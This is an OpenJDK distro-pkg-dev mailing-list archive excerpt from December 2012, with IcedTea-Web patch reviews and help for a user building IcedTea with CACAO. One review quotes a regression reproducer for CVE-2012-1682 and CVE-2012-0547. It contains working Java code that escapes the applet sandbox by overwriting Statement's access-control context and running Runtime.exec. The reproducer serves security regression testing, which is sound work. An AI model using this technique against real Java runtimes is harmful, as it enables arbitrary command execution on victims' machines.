resource, stdoutl, >> stderrl); >> } >> >> + public ProcessResult executeBrowser(String resource, >> List stdoutl, List >> stderrl) throws Exception { >> + return executeBrowser(getBrowserParams(), resource, stdoutl, >> stderrl); >> + } >> + >> /** >> * wrapping method to executeProcess (eg: javaws arg arg >> http://localhost:port/resource) >> * will execute default javaws (@see JAVAWS_BUILD_BIN) upon >> default url upon cached server (@see SERVER_NAME @see getPort(), @see >> getInstance())) >> @@ -592,7 +596,7 @@ >> } >> >> public ProcessResult executeBrowser(List otherargs, >> String resource) throws Exception { >> - ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), >> otherargs, getUrlUponThisInstance(resource), null, null, null); >> + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), >> otherargs, getUrlUponThisInstance(resource)); >> rpw.setReactingProcess(getCurrentBrowser());//current >> browser may be null, but it does not metter >> return rpw.execute(); >> } >> @@ -603,8 +607,16 @@ >> return rpw.execute(); >> } >> >> + public ProcessResult executeBrowser(List otherargs, >> String resource, List stdoutl, >> List stderrl) throws Exception { >> + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), >> otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); >> + rpw.setReactingProcess(getCurrentBrowser());// current >> browser may be >> + // null, >> but it does not >> + // matter >> + return rpw.execute(); > > What an nasty indentation. Perhaps you have ide configured to use tabs > as tabs? (should be tabs as spaces, I think tab is 4sapces by default > for ITW) > But maybe just email transformation messed it up. Then please ignore > this... >> + } >> + >> public ProcessResult executeBrowser(Browser b, List >> otherargs, String resource) throws Exception { >> - ProcessWrapper rpw = new ProcessWrapper(b.getBin(), >> otherargs, getUrlUponThisInstance(resource), null, null, null); >> + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), >> otherargs, getUrlUponThisInstance(resource)); >> rpw.setReactingProcess(b); >> return rpw.execute(); >> } >> @@ -615,6 +627,12 @@ >> return rpw.execute(); >> } >> >> + public ProcessResult executeBrowser(Browser b, List >> otherargs, String resource, List stdoutl, >> List stderrl) throws Exception { >> + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), >> otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); >> + rpw.setReactingProcess(b); >> + return rpw.execute(); >> + } >> + >> /** >> * Create resource on http, on 'localhost' on port on which this >> cached instance is running >> * @param resource >> @@ -661,7 +679,7 @@ >> * @throws Exception >> */ >> public static ProcessResult executeProcessUponURL(String >> toBeExecuted, List otherargs, URL u) throws Exception { >> - return new ProcessWrapper(toBeExecuted, otherargs, u, null, >> null, null).execute(); >> + return new ProcessWrapper(toBeExecuted, otherargs, u).execute(); >> } >> >> public static ProcessResult executeProcessUponURL(String >> toBeExecuted, List otherargs, URL u, ContentReaderListener >> stdoutl, ContentReaderListener stderrl) throws Exception { >> > > Otherwise the changes have sense. Please double check that all the > affected codes by small refactoring you included in this patch have no > impact to compilation/runtime of reproducers! > > > Thankx for dooing this > J. > -------------- next part -------------- A non-text attachment was scrubbed... Name: AWTFramework_preparations2.patch Type: text/x-patch Size: 7090 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121214/3d05aa0c/AWTFramework_preparations2.patch From gregjo at yahoo.com Fri Dec 14 10:33:28 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Fri, 14 Dec 2012 10:33:28 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> >Hi Greg, > >icedtea7 still picks up an old version of CACAO. My attempts at >getting the most recent changes in got stuck in progress (through my >own fault, I must add). > >At the moment, this should work: > >- get icedtea7 from https://bitbucket.org/Ringdingcoder/icedtea7 >- merge with current icedtea7 if necessary/desired >- check out CACAO from http://mips.complang.tuwien.ac.at/hg/cacao/ >- add --with-cacao-src-dir= to your icedtea configure options >- I /think/ you should also specify --disable-bootstrap > >Cheers >Thanks, Stephan. Here is what I attempted: # cd /opt # hg clone https://bitbucket.org/Ringdingcoder/icedtea7 # hg clone http://mips.complang.tuwien.ac.at/hg/cacao/ Then I noticed that inside icedtea7 there is no "configure" script. There is a configure.ac file, but no main script. So I think your comment to "merge with current icedtea7 if necessary/desired" quickly moves into "necessary". ;-) To attempt that, I downloaded and unpacked this file: http://icedtea.wildebeest.org/download/source/icedtea-2.3.3.tar.gz Then I attempted a merge by doing this: # yes | cp -r icedtea7/* icedtea-2.3.3 That was my best guess at how to maintain the icedtea7 files as the most recent.? Did I make a mistake here? Am I supposed to use Mercurial to merge the current icedtea7 with the customized copy? How? Then I attempted to compile inside the icedtea-2.3.3 directory: # cd icedtea-2.3.3 # ./configure --enable-cacao --disabled-bootstrap --withcacao-src-dir=/opt/cacao At the end of the configure step, the following was displayed: configure: WARNING: unrecognized options: --with-cacao-src-dir So I think I'm still lost. Probably in the merge step. Help, please. :-) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121214/8483bb47/attachment.html From adomurad at redhat.com Fri Dec 14 12:43:26 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 14 Dec 2012 15:43:26 -0500 Subject: [rfc][icedtea-web] Rewrite of MethodOverloadResolver Message-ID: <50CB8F6E.8060207@redhat.com> Thought I'd do a simple patch to turn the test code embedded in MethodOverloadResolver into a a proper unit test ... unfortunately, my small look into this class lead me to find many subtle bugs -- and coincidentally decide to do it properly. Lots of corner cases covered, and it could probably use unit tests even still, but its a major improvement and I'm a bit tired of looking at it so I'm posting it. Some broken things I uncovered included improper overloading order, method/argument situations that would error-out if they ever occurred (but were valid), and the fact that the JSObject used throughout the class was actually a dummy value used at the bottom of the class. The code was also made a lot cleaner in the process, in the interest of 'doing it right' while fixing it. ChangeLog: 2012-12-14 Adam Domurad Rewrite of MethodOverloadResolver with detailed unittests. * plugin/icedteanp/java/sun/applet/MethodOverloadResolver.java: Rewritten to reduce duplicated code, fix very subtle bugs in never-tested codepaths, obey spec properly. Introduced new helper types where Object[] arrays with special-meaning positions were passed around. * plugin/icedteanp/java/sun/applet/PluginAppletSecurityContext.java: Updated to work with newly introduced types / refactored overload resolver. * tests/netx/unit/sun/applet/MethodOverloadResolverTest.java: In-depth unit tests of hairy details of method overloading in JS<->Java. -------------- next part -------------- A non-text attachment was scrubbed... Name: method-overload-resolver.patch Type: text/x-patch Size: 62296 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121214/3ccffe3d/method-overload-resolver.patch From adomurad at redhat.com Fri Dec 14 12:58:47 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 14 Dec 2012 15:58:47 -0500 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour In-Reply-To: <50CA03C5.7080500@redhat.com> References: <50CA03C5.7080500@redhat.com> Message-ID: <50CB9307.5030801@redhat.com> On 12/13/2012 11:35 AM, Jiri Vanek wrote: > Ok for head? > > J. I'm assuming this is OK for the repo since this has been made public before. To be exact though this is testing a property of the JRE. > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploit.html > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploit.html > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,42 @@ > + > + > +

archive="BeansStatementExploit.jar" codebase="." width="100" height="20"> > +

> + > + > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitApplet.jnlp Maybe 'BeansStatementBreakSandbox' would be a bit clearer. > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitApplet.jnlp > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,61 @@ > + > + > + > + > + BeansStatementExploitApplet > + IcedTea > + href="http://icedtea.classpath.org/wiki/IcedTea-Web#Testing_IcedTea-Web"/> > + BeansStatementExploitApplet > + > + > + > + > + > + > + + documentBase="." > + name="BeansStatementExploitApplet" > + main-class="GondvvMinimal2" > + width="100" > + height="100"> > + > + > + > + > + > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitWS.jnlp > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitWS.jnlp > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,56 @@ > + > + > + > + > + BeansStatementExploitWS > + IcedTea > + href="http://icedtea.classpath.org/wiki/IcedTea-Web#Testing_IcedTea-Web"/> > + BeansStatementExploitWS > + > + > + > + > + > + > + > + > + > + > + > + > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/srcs/GondvvMinimal2.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/srcs/GondvvMinimal2.java > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,49 @@ > +/* GondvvMinimal2.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.applet.Applet; > + > + > +public class GondvvMinimal2 extends Applet { I understand why you chose this name, but I would prefer something more descriptive of the intent of the applet. > + > + @Override > + public void init() { > + GondvvTestcase4.main(new String[0]); > + > + } > + > +} > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/srcs/GondvvTestcase4.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/srcs/GondvvTestcase4.java > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,181 @@ > +/* GondvvTestcase4.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.beans.Statement; > +import java.beans.Expression; > + > +import java.lang.reflect.Field; > +import java.net.URL; > +import java.security.*; > +import java.security.cert.Certificate; > +import java.io.InputStreamReader; > +import java.io.BufferedReader; > + > +/** > + * > + * Summary for @ > + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682 > + * and > + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547 > + */ > +public class GondvvTestcase4 { > + > + public static int runproc(Process proc) throws Exception { > + BufferedReader cmdout = new BufferedReader(new > InputStreamReader(proc.getInputStream())); > + String line; > + while ((line = cmdout.readLine()) != null) { > + System.out.println(line); > + } > + proc.waitFor(); > + return proc.exitValue(); > + } > + > + public static void runcommand_exploit(String cmd) throws Exception { > + Expression exec_ex = new Expression(Runtime.getRuntime(), > "exec", new String[]{cmd}); > + > + Permissions perms = new Permissions(); > + perms.add(new AllPermission()); > + ProtectionDomain protdomain = new ProtectionDomain( > + new CodeSource(new URL("file:///"), new > Certificate[0]), perms); > + AccessControlContext acc = new AccessControlContext(new > ProtectionDomain[]{protdomain}); > + > + Expression tmp_ex = new Expression(Class.class, "forName", > new Object[]{"sun.awt.SunToolkit"}); > + tmp_ex.execute(); > + Class toolkit = (Class) tmp_ex.getValue(); > + > + tmp_ex = new Expression(toolkit, "getField", new > Object[]{Statement.class, "acc"}); > + tmp_ex.execute(); > + ((Field) tmp_ex.getValue()).set(exec_ex, acc); > + exec_ex.execute(); > + > + runproc((Process) exec_ex.getValue()); > + } > + > + public static void runcommand_direct(String cmd) throws Exception { > + runproc(Runtime.getRuntime().exec(cmd)); > + } > + > + public static void main(String[] args) { > + System.out.println("Running GondvvTest"); > + args = new String[]{"/bin/date"}; > + try { > + System.out.println("Directly calling: > Class.forName(\"sun.awt.SunToolkit\")"); > + > + Object cl = Class.forName("sun.awt.SunToolkit"); > + System.out.println("FAIL: " + cl.toString()); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } Can you move the FAIL/OK checks into the testcase class possibly ? I guess its OK as it is, but if you can make the testcase do more checking and not just checking for FAIL it would be good. > + System.out.println(); > + > + > + try { > + System.out.println("Calling: Expression(Class.class, > \"forName\", new String[]{\"sun.awt.SunToolkit\"})"); > + > + Expression ex = new Expression(Class.class, "forName", > new String[]{"sun.awt.SunToolkit"}); > + ex.execute(); > + Object cl = ex.getValue(); > + System.out.println("FAIL: " + cl.toString()); > + System.out.println(); > + System.out.println("Checking if SunToolkit class > reference is usable"); > + try { > + ex = new Expression(cl, "getField", new > Object[]{Byte.class, "SIZE"}); > + ex.execute(); > + System.out.println("FAIL: " + ex.getValue().toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("INFO: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + > + try { > + ex = new Expression(cl, "getField", new > Object[]{Statement.class, "acc"}); > + ex.execute(); > + System.out.println("FAIL: " + ex.getValue().toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("INFO: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + > + if (args.length == 0) { > + } ?? > + > + try { > + System.out.println("Running command directly: " + args[0]); > + runcommand_direct(args[0]); > + System.out.println("FAIL: commnad was run"); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + > + try { > + System.out.println("Running command using exploit: " + > args[0]); > + runcommand_exploit(args[0]); > + System.out.println("FAIL: commnad was run"); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("FAIL: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); Looks OK but again > + > + > + } > +} > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/testcases/BeansStatementExploitTests.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/testcases/BeansStatementExploitTests.java > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,82 @@ > +/* BeansStatementExploitTests.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import net.sourceforge.jnlp.ProcessResult; > +import net.sourceforge.jnlp.annotations.Bug; > +import net.sourceforge.jnlp.browsertesting.BrowserTest; > +import net.sourceforge.jnlp.browsertesting.Browsers; > +import net.sourceforge.jnlp.annotations.NeedsDisplay; > +import net.sourceforge.jnlp.annotations.TestInBrowsers; > +import org.junit.Assert; > + > +import org.junit.Test; > + > +public class BeansStatementExploitTests extends BrowserTest { > + > + @Test > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementExploitTestWS() throws Exception { > + ProcessResult pr = server.executeJavawsHeadless(null, > "/BeansStatementExploitWS.jnlp"); > + evaluate(pr); > + } > + > + @Test > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementExploitTesWsApplet() throws Exception { > + ProcessResult pr = server.executeJavawsHeadless(null, > "/BeansStatementExploitApplet.jnlp"); > + evaluate(pr); > + } > + > + @Test > + @TestInBrowsers(testIn = {Browsers.all}) > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementExploitTestApplet() throws Exception { > + ProcessResult pr = > server.executeBrowser("/BeansStatementExploit.html"); > + evaluate(pr); > + Assert.assertTrue(pr.wasTerminated); > + } > + > + private void evaluate(ProcessResult pr) { > + Assert.assertTrue("Output of reproducerwas empty => it was > not run", (pr.stdout.length() > 0)); > + Assert.assertTrue("Output of reproducerwas have not > contained 'Running GondvvTest' => it was not run", > (pr.stdout.contains("Running GondvvTest"))); > + Assert.assertFalse("Output of reproducer contained FAIL, that > means that exploit have hacked your system", > (pr.stdout.contains("FAIL:"))); > + > + } > +} Looks OK, although this seems like something that is better placed in a JRE's test suite, not ITWs. I have no problems with it going in the repo, though. Happy hacking, -Adam From stefan at complang.tuwien.ac.at Fri Dec 14 23:53:50 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Sat, 15 Dec 2012 08:53:50 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: On Fri, Dec 14, 2012 at 7:33 PM, Greg Johnson wrote: > Thanks, Stephan. Here is what I attempted: > > # cd /opt > # hg clone https://bitbucket.org/Ringdingcoder/icedtea7 > # hg clone http://mips.complang.tuwien.ac.at/hg/cacao/ > That was my best guess at how to maintain the icedtea7 files as the most > recent. > Did I make a mistake here? Am I supposed to use Mercurial to merge the > current icedtea7 with the customized copy? How? Yes ;). The merge step works like this: $ hg clone http://icedtea.classpath.org/hg/icedtea7 $ cd icedtea7 $ hg pull -r default https://bitbucket.org/Ringdingcoder/icedtea7 $ hg merge tip $ hg ci -m merge $ ./autogen.sh > Then I noticed that inside icedtea7 there is no "configure" script. That's what the autogen.sh invocation is for. > To attempt that, I downloaded and unpacked this file: > http://icedtea.wildebeest.org/download/source/icedtea-2.3.3.tar.gz > Then I attempted a merge by doing this: > # yes | cp -r icedtea7/* icedtea-2.3.3 To be honest, I tend to almost forget that there are actual icedtea releases with release tarballs. To me, this seems like an archaic concept. In my experience, you're almost always better off by just using whatever is current at any point in time. But if you want a release build, I'll push a version suitable for that later today. > Then I attempted to compile inside the icedtea-2.3.3 directory: > > # cd icedtea-2.3.3 > # ./configure --enable-cacao --disabled-bootstrap > --withcacao-src-dir=/opt/cacao Let's say, this i s a typo -- it should be --with-cacao-src-dir. From stefan at complang.tuwien.ac.at Sat Dec 15 08:59:36 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Sat, 15 Dec 2012 17:59:36 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > $ hg clone http://icedtea.classpath.org/hg/icedtea7 > $ cd icedtea7 > $ hg pull -r default https://bitbucket.org/Ringdingcoder/icedtea7 > $ hg merge tip > $ hg ci -m merge > $ ./autogen.sh I've updated it for the release branch as well, so for that, replace the first three lines by: $ hg clone http://icedtea.classpath.org/hg/release/icedtea7-2.3 icedtea7 $ cd icedtea7 $ hg up -c icedtea-2.3.3 $ hg pull -r icedtea-2.3 https://bitbucket.org/Ringdingcoder/icedtea7 Cheers From stefan at complang.tuwien.ac.at Sat Dec 15 09:25:56 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Sat, 15 Dec 2012 18:25:56 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1455675352.15897859.1355489586946.JavaMail.root@redhat.com> References: <1455675352.15897859.1355489586946.JavaMail.root@redhat.com> Message-ID: > What changes? Mostly these four changesets (in ): bd5d1773f671 88918467d5f2 7f94d0eeec79 c75577c02aa2 As a consequence of PR1120 I merged the openjdk7 branch in CACAO, and icedtea6 has already been upgraded to a more recent version. I had the intention to get my two changesets from https://bitbucket.org/Ringdingcoder/icedtea7 through, but this got stuck because of changelog discrepancies, and I have not gotten around to fixing that. > What should the status of CACAO on 7 be? Last I knew it was broken. It should work quite well as long as no JSR292 stuff is attempted. From stefan at complang.tuwien.ac.at Sat Dec 15 09:31:42 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Sat, 15 Dec 2012 18:31:42 +0100 Subject: PING: PR1176: Added --with-cacao-src-dir option In-Reply-To: <492042789.6591839.1352301716265.JavaMail.root@redhat.com> References: <1204021510.6590692.1352301626060.JavaMail.root@redhat.com> <492042789.6591839.1352301716265.JavaMail.root@redhat.com> Message-ID: > Further to that, the one in the commit message is wrong as Stefan > didn't write this: > > 2009-10-01 Robert Schuster > > * configure.ac: Added --with-cacao-src-dir option. > * acinclude: New macro AC_CHECK_WITH_CACAO_SRC_DIR. > * Makefile.am: Copy Cacao sources when USE_ALT_CACAO_SRC_DIR is used. What do you want me to do exactly? Copy Robert's old changelog entry over? It doesn't really fit, as the identifier got later renamed to IT_WITH_CACAO_SRC_DIR after its original inclusion in icedtea6. From gregjo at yahoo.com Sat Dec 15 21:34:47 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Sat, 15 Dec 2012 21:34:47 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> Thanks for all the help, Stefan. I continue to make progress. I have run the following: # cd /opt # hg clone http://mips.complang.tuwien.ac.at/hg/cacao/ # hg clone http://icedtea.classpath.org/hg/icedtea7 # cd icedtea7 # hg pull -r default https://bitbucket.org/Ringdingcoder/icedtea7 # hg merge tip # hg ci -m merge # ./autogen.sh # ./configure --enable-cacao --disable-bootstrap --with-cacao-src-dir=/opt/cacao # make The compile begins, but soon fails with the following: make[6]: Entering directory `/opt/icedtea7/openjdk/corba/make/tools/strip_properties' /opt/icedtea7/bootstrap/jdk1.6.0/bin/javac ?-J-XX:ThreadStackSize=768 -J-XX:-PrintVMOptions -J-XX:+UnlockDiagnosticVMOptions -J-XX:-LogVMOutput -J-client -J-Xmx1536m -J-Xms1536m -J-XX:PermSize=32m -J-XX:MaxPermSize=160m -encoding ascii -source 6 -target 6 -d /opt/icedtea7/openjdk.build/corba/btclasses \ ? ? -sourcepath ../../tools/src ../../tools/src/build/tools/stripproperties/StripProperties.java Error occurred during initialization of VM Could not reserve enough space for object heap Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. I believe this machine should have enough memory: # free -m ? ? ? ? ? ? ?total ? ? ? used ? ? ? free ? ? shared ? ?buffers ? ? cached Mem: ? ? ? ? ?4040 ? ? ? 1699 ? ? ? 2340 ? ? ? ? ?0 ? ? ? ?107 ? ? ? 1183 -/+ buffers/cache: ? ? ? ?409 ? ? ? 3630 Swap: ? ? ? ? 5599 ? ? ? ? ?0 ? ? ? 5599 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121215/ad7753a8/attachment.html From stefan at complang.tuwien.ac.at Mon Dec 17 00:16:59 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Mon, 17 Dec 2012 09:16:59 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: > The compile begins, but soon fails with the following: > make[6]: Entering directory > `/opt/icedtea7/openjdk/corba/make/tools/strip_properties' > /opt/icedtea7/bootstrap/jdk1.6.0/bin/javac -J-XX:ThreadStackSize=768 > -J-XX:-PrintVMOptions -J-XX:+UnlockDiagnosticVMOptions -J-XX:-LogVMOutput > -J-client -J-Xmx1536m -J-Xms1536m -J-XX:PermSize=32m -J-XX:MaxPermSize=160m > -encoding ascii -source 6 -target 6 -d > /opt/icedtea7/openjdk.build/corba/btclasses \ > -sourcepath ../../tools/src > ../../tools/src/build/tools/stripproperties/StripProperties.java > Error occurred during initialization of VM > Could not reserve enough space for object heap > Error: Could not create the Java Virtual Machine. > Error: A fatal exception has occurred. Program will exit. > > > I believe this machine should have enough memory: > # free -m > total used free shared buffers cached > Mem: 4040 1699 2340 0 107 1183 > -/+ buffers/cache: 409 3630 > Swap: 5599 0 5599 Hmm, no idea. Works for me... $ free -m total used free shared buffers cached Mem: 7986 7425 560 0 390 3504 -/+ buffers/cache: 3529 4456 Swap: 3796 0 3796 $ uname -a Linux dumpl 3.6.8-2.fc17.x86_64 #1 SMP Tue Nov 27 19:35:02 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux $ ./bootstrap/jdk1.6.0/bin/javac -version javac 1.7.0_09 $ ./bootstrap/jdk1.6.0/bin/java -version java version "1.7.0_09-icedtea" OpenJDK Runtime Environment (fedora-2.3.3.fc17.1-x86_64) OpenJDK 64-Bit Server VM (build 23.2-b09, mixed mode) From ptisnovs at icedtea.classpath.org Mon Dec 17 00:44:17 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Mon, 17 Dec 2012 08:44:17 +0000 Subject: /hg/gfx-test: Fixed documentation for following test suites: src... Message-ID: changeset 374fe54a78bf in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=374fe54a78bf author: Pavel Tisnovsky date: Mon Dec 17 09:47:21 2012 +0100 Fixed documentation for following test suites: src/org/gfxtest/testsuites/BitBltBasicTests.java, src/org/gfxtest/testsuites/BitBltCropImage.java, src/org/gfxtest/testsuites/BitBltMirrorImage.java, src/org/gfxtest/testsuites/PrintTestBitBlt.java, src/org/gfxtest/testsuites/PrintTestBitBltCropImage.java, src/org/gfxtest/testsuites/PrintTestBitBltMirrorImage.java. diffstat: ChangeLog | 10 + src/org/gfxtest/testsuites/BitBltBasicTests.java | 269 ++++++------ src/org/gfxtest/testsuites/BitBltCropImage.java | 54 +- src/org/gfxtest/testsuites/BitBltMirrorImage.java | 68 +- src/org/gfxtest/testsuites/PrintTestBitBlt.java | 99 ++-- 